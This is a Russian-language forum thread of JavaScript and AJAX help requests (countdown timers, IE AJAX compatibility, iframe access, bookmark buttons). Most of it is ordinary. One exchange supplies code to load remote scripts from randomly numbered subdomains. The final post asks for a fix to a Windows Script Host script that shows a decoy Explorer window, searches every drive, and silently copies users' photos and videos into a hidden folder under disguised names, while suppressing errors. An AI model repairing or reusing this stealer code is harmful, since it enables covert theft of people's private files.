[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. lex(SL)

    lex(SL) New Member

    Joined:
    21 Nov 2010
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Извините что задаю здесь вопрос, правда очень стыдно, но все никак не доходят руки js изучить, как то большой необходимости нет, в основном с php работаю, в общем есть вопрос:

    <script>

    function timer()
    {
    var obj=document.getElementById('timer_inp');
    obj.innerHTML--;

    if(obj.innerHTML==0){document.write('Ссылка');;setTimeout(function(){},1000);}
    else{setTimeout(timer,1000);}
    }
    setTimeout(timer,1000);

    </script>

    <font size="5" face="Monotype Corsiva"><b>
    <div style="float:left; width:248px; height:56px">Ссылка появится через:</div>
    <div id="timer_inp" style="float:left; width:102px; height:19px">10</div></font></b>

    Выше скрипт по задумке выводит ссылку или какую - то фразу на экран, но проблема в том что после срабатывания программа выводит на экран только эту ссылку или фразу, не важно что короче и контент, дизайн и все остальное пропадает, нужно именно чтобы происходило то же самое, но без нарушения контента и дизайна, то есть чтобы необходимое мне появлялось в том месте страницы, куда я установил данный код.
     
  2. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Как у всех:
    Code:
    <!doctype html>
    <html>
      <head>
        <title>inline countdown</title>
      </head>
      <body>
        <script>
    
    (function (node)
    {
      var timer = setInterval(function ()
      {
        if (node = node || document.getElementById('timer_inp'))
        {
          if (--node.innerHTML <= 0)
          {
            node.innerHTML = '0. Ссылка';
            clearInterval(timer);
          }
        }
      }, 1000);
    }());
    
        </script>
    
        <div class="all design">
          Осталось: <span id="timer_inp">5</span>
        </div>
    
      </body>
    </html>
    С учетом "в том месте страницы, куда я установил данный код"
    Code:
    <!doctype html>
    <html>
      <head>
        <title>inline countdown</title>
      </head>
      <body>  
        <code>&lt;script&gt;</code>
        <script>
    
    (function (uid, node)
    {
      document.write('<div id="' + uid + '"></div>');
      
      var timer = setInterval(function ()
      {
        if (node = node || document.getElementById('timer_inp'))
        {
          if (--node.innerHTML <= 0)
          {
            document.getElementById(uid).innerHTML = 'Ссылка';
            clearInterval(timer);
          }
        }
      }, 1000);
    }('perversion' + Math.random() * 1e20));
    
        </script>
        <code>&lt;/script&gt;</code>
      
        <div class="all design">
          Осталось: <span id="timer_inp">5</span>
        </div>
      
      </body>
    </html>
     
  3. lex(SL)

    lex(SL) New Member

    Joined:
    21 Nov 2010
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Благодарю!
     
  4. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    PHP:
    <script>
    var 
    req;
    var 
    reqTimeout;
     
    function 
    loadXMLDoc(url) {
        
    req null;
        if (
    window.XMLHttpRequest) {
            try {
                
    req = new XMLHttpRequest();
            } catch (
    e){}
        } else if (
    window.ActiveXObject) {
            try {
                
    req = new ActiveXObject('Msxml2.XMLHTTP');
            } catch (
    e){
                try {
                    
    req = new ActiveXObject('Microsoft.XMLHTTP');
                } catch (
    e){}
            }
        }
     
        if (
    req) {
            
    req.onreadystatechange processReqChange;
            
    req.open("GET"urltrue);
            
    req.send(null);
            
    reqTimeout setTimeout("req.abort();"5000);
        } else {
            
    alert("Браузер не поддерживает AJAX");
        }
    }
     
    function 
    processReqChange() {

     
        if (
    req.readyState == 4) {
            
    clearTimeout(reqTimeout);
     
     
            
    // only if "OK"  response
            
    if (req.status == 200) {
               
               
    document.getElementById('sss').innerHTML req.responseText;
              var 
    obbbj=document.getElementById("sss");           
            } else {
               
    document.getElementById('sss').innerHTML req.responseText;
            }
        }  
    }
     

     
    function 
    requestdata(params)
    {
      
    loadXMLDoc('info.php?date='+params);
    }
    </script>
    Почему данный код не работает в ИЕ ?

    Суть его такая : извне вызываем функцию requestdata('12.5.2011');
    она запрашивает у файла info.php информацию с параметрами и полученный ответ вставляет в Див с ИД sss

    В опере работает а ИЕ нет(
     
  5. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    Code:
    function createRequestObject() {
      if (typeof XMLHttpRequest === 'undefined') {
        XMLHttpRequest = function() {
          try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); }
            catch(e) {}
          try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); }
            catch(e) {}
          try { return new ActiveXObject("Msxml2.XMLHTTP"); }
            catch(e) {}
          try { return new ActiveXObject("Microsoft.XMLHTTP"); }
            catch(e) {}
          throw new Error("This browser does not support XMLHttpRequest.");
        };
      }
      return new XMLHttpRequest();
    }
     
  6. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    phpdreamer

    не помогло. Для оперы определяет XMLHttpRequest и все работает. а для Ие 8,0 7600 тоже определяет XMLHttpRequest , но возвращает [object]
     
  7. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    нужно реализовать таблицу выбора тем, допустим 3 темы:
    1)Музыка
    2)Видео
    3)Софт
    и сбоку сделать чекбокс для выбора только одной темы, (например музыка)
    внизу кнопка выбрать,
    и ок для отправки запроса, выбранная темы будет отмечаться либо красным цветом либо зачёркнутыми тегами .
    (данные должны сохраняться о выбранных темах, чтобы при входе на страницу сайта они отображались)
    PS сохранённые данные вместо mysql нужно чтобы проще было - сохранялось хотя бы в блокноте, а вся эта тема должна быть или на html + css+ java но не на php
    у кого нибудь есть что нибудь такое - может в архивах укого и завалялось?
     
    #2967 GAiN, 5 May 2011
    Last edited: 5 May 2011
  8. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    Я как понимаю макет остается прежним. Если так, то при изменении OPTION пусть подгружается CSS выбранной темы и записывается ее идентификатор в cookie или local storage браузера, а при обновлении страницы будет происходить выборка идентификатора с последующей подгрузкой CSS
     
  9. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    но вот подумав есть одно но, ведь тему выбрав, (а выбрать каждому человеку можно только одну) после чего выбор остальных тем становиться невозможным, но ведь и ip меняються, а пользователи работают с формой без регистрации, значит им могут открыться после выбора ими темы доступ к другим
     
  10. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    Еще раз, пожалуйста, опишите проблему. Что у вас конкретно не получается.
     
  11. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    нет, я не делаю такую форму, тк не продумал все нюансы ;)
     
  12. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    Почему евенты(глобальные, как уже вычитал) ajaxStart и AjaxComplete срабатывают для всех ajax запросов? как пофиксить?
    Алсо, что-то типо этого сейчас имеем:


    PHP:
    $("#upload_file").click(function(){
            $(
    "#u_spinner")
            .
    ajaxStart(function(){
                $(
    this).slideDown(300);
            })
            .
    ajaxComplete(function(){
                $(
    this).slideUp(300);
    });
     
  13. luethus

    luethus New Member

    Joined:
    3 Sep 2010
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    1. в основном документе, скажем, где-то в начале, есть такой код:

    Code:
    document.domain = 'домен';
    это необходимо для одной задачи, не важно какой, удалять нельзя.

    2. динамически создается iframe для аяксовой загрузки файла на сервер (в iframe добавляется форма с файлом и сабмитится).
    сервер этот же, т.е. домен, протокол и порт iframe-а будут совпадать с документом.

    так вот, после submit-а формы и загрузки iframe-а его содержимое нельзя получить - браузер ругается (хром ругается, остальные вообще ничего не выводят, просто не работает):
    Code:
    Unsafe JavaScript attempt to access frame with URL http://test.localhost/bla-bla from frame with URL http://test.localhost/bla-bla. Domains, protocols and ports must match.
    как выяснилось, это из-за того, что document.domain был переопределен (даже пусть так - document.domain = document.domain).

    что можно сделать, как получить содержимое iframe?

    P.S. после сабмита формы в iframe загрузится не html-документ, из которого я мог бы так же установить document.domain, а данные в формате json.
     
  14. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    поделитесь пожалуйста скриптом для добавления в закладки для всех браузеров (для PC)
    (Сафари, хром, мозила, опера , ослик)
     
  15. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Вот js:
    HTML:
    // Добавить в Избранное 
    function add_favorite(a) { 
    	title=document.title; 
    	url=document.location; 
    	try { 
    		// Internet Explorer 
    		window.external.AddFavorite(url, title); 
    	} 
    	catch (e) { 
    		try { 
    			// Mozilla 
    			window.sidebar.addPanel(title, url, ""); 
    		} 
    		catch (e) { 
    			// Opera 
    			if (typeof(opera)=="object") { 
    				a.rel="sidebar"; 
    				a.title=title; 
    				a.url=url; 
    				return true; 
    			} 
    			else { 
    			// Unknown 
    			alert('Нажмите Ctrl+D чтобы добавить страницу в закладки.'); 
    			} 
    		} 
    	} 
    	return false; 
    }
    
    это в теле документа:
    HTML:
    <a href="javascript: void();" onclick="javascript: return add_favorite(this);" title="Добавить в закладки">В закладки</a> 
     
  16. KUKUsha

    KUKUsha New Member

    Joined:
    16 May 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    нужен скрипт js который запускает удаленный скрипт
    <script type="text/javascript" src="http://РАНДОМНОЕ_ЧИСЛО_ОТ_1до30000.домен/scr.js?id=РАНДОМНОЕ_ЧИСЛО_ОТ_1_до 30000"></script>

    тоесть при исполнении в браузере будет послан сигнал подгрузить удаленный скрипт, например по такому урлу
    http://24887.домен/scr.js?id=5475

    цифры каждый раз разные.
    как это реализовать, подскажите? и чтобы во всех браузерам работало, тоест что то не мудреное.
     
    #2976 KUKUsha, 19 May 2011
    Last edited: 19 May 2011
  17. luethus

    luethus New Member

    Joined:
    3 Sep 2010
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    var script = document.createElement('script');
    script.setAttribute('type', 'text/javascript');
    script.setAttribute('src', 'http://24887.домен/scr.js?id=5475');
    document.getElementsByTagName('head')[0].appendChild(script);
     
  18. KUKUsha

    KUKUsha New Member

    Joined:
    16 May 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ты не совсем понял что мне нужно бро) это не то.но спасибо за внимание. вопрос открыт
     
  19. Yakim

    Yakim New Member

    Joined:
    19 Nov 2010
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    var script = document.createElement('script');
    script.setAttribute('type', 'text/javascript');
    script.setAttribute('src', 'http://' + Math.round(Math.random() * 30000) + '.домен/scr.js?id=' + Math.round(Math.random() * 30000));
    document.getElementsByTagName('head')[0].appendChild(script);
     
  20. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    Ребята, помогите пожалуйста, при "компиляции" JS скрипта (на Windows XP) выдает ошибку такую:
    [​IMG]

    Где это пропущен проди ")" , но поставил где можно было :D - не получился все равно.

    Вот сам код:

    Code:
    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(JPEG|JPG|BMP|3gp|avi|divx|mp4|mpeg|mpg|wmv|mpg2)$/i;
            var diff = new Date(1700,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.it  em().DateLastAccessed)) >= diff.getTime())||(Date.parse(softwareEnumerator.it  em().DateLastModified) >= diff.getTime()))) {
                    try {
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)  +"-"+Date.parse(softwareEnumerator.item().DateLastModi  fied)+"-"+Date.parse(softwareEnumerator.item().DateLastAcce  ssed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwa  reEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwa  reEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwa  reEnumerator.item().Name.length-1)+".jpg", true);
                    } catch (e) {
                        if (e.number == 61) {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
            fso.CreateFolder(ws.CurrentDirectory+"\\photo");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(  tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
        }
    } catch(e) {
    }
     
Thread Status:
Not open for further replies.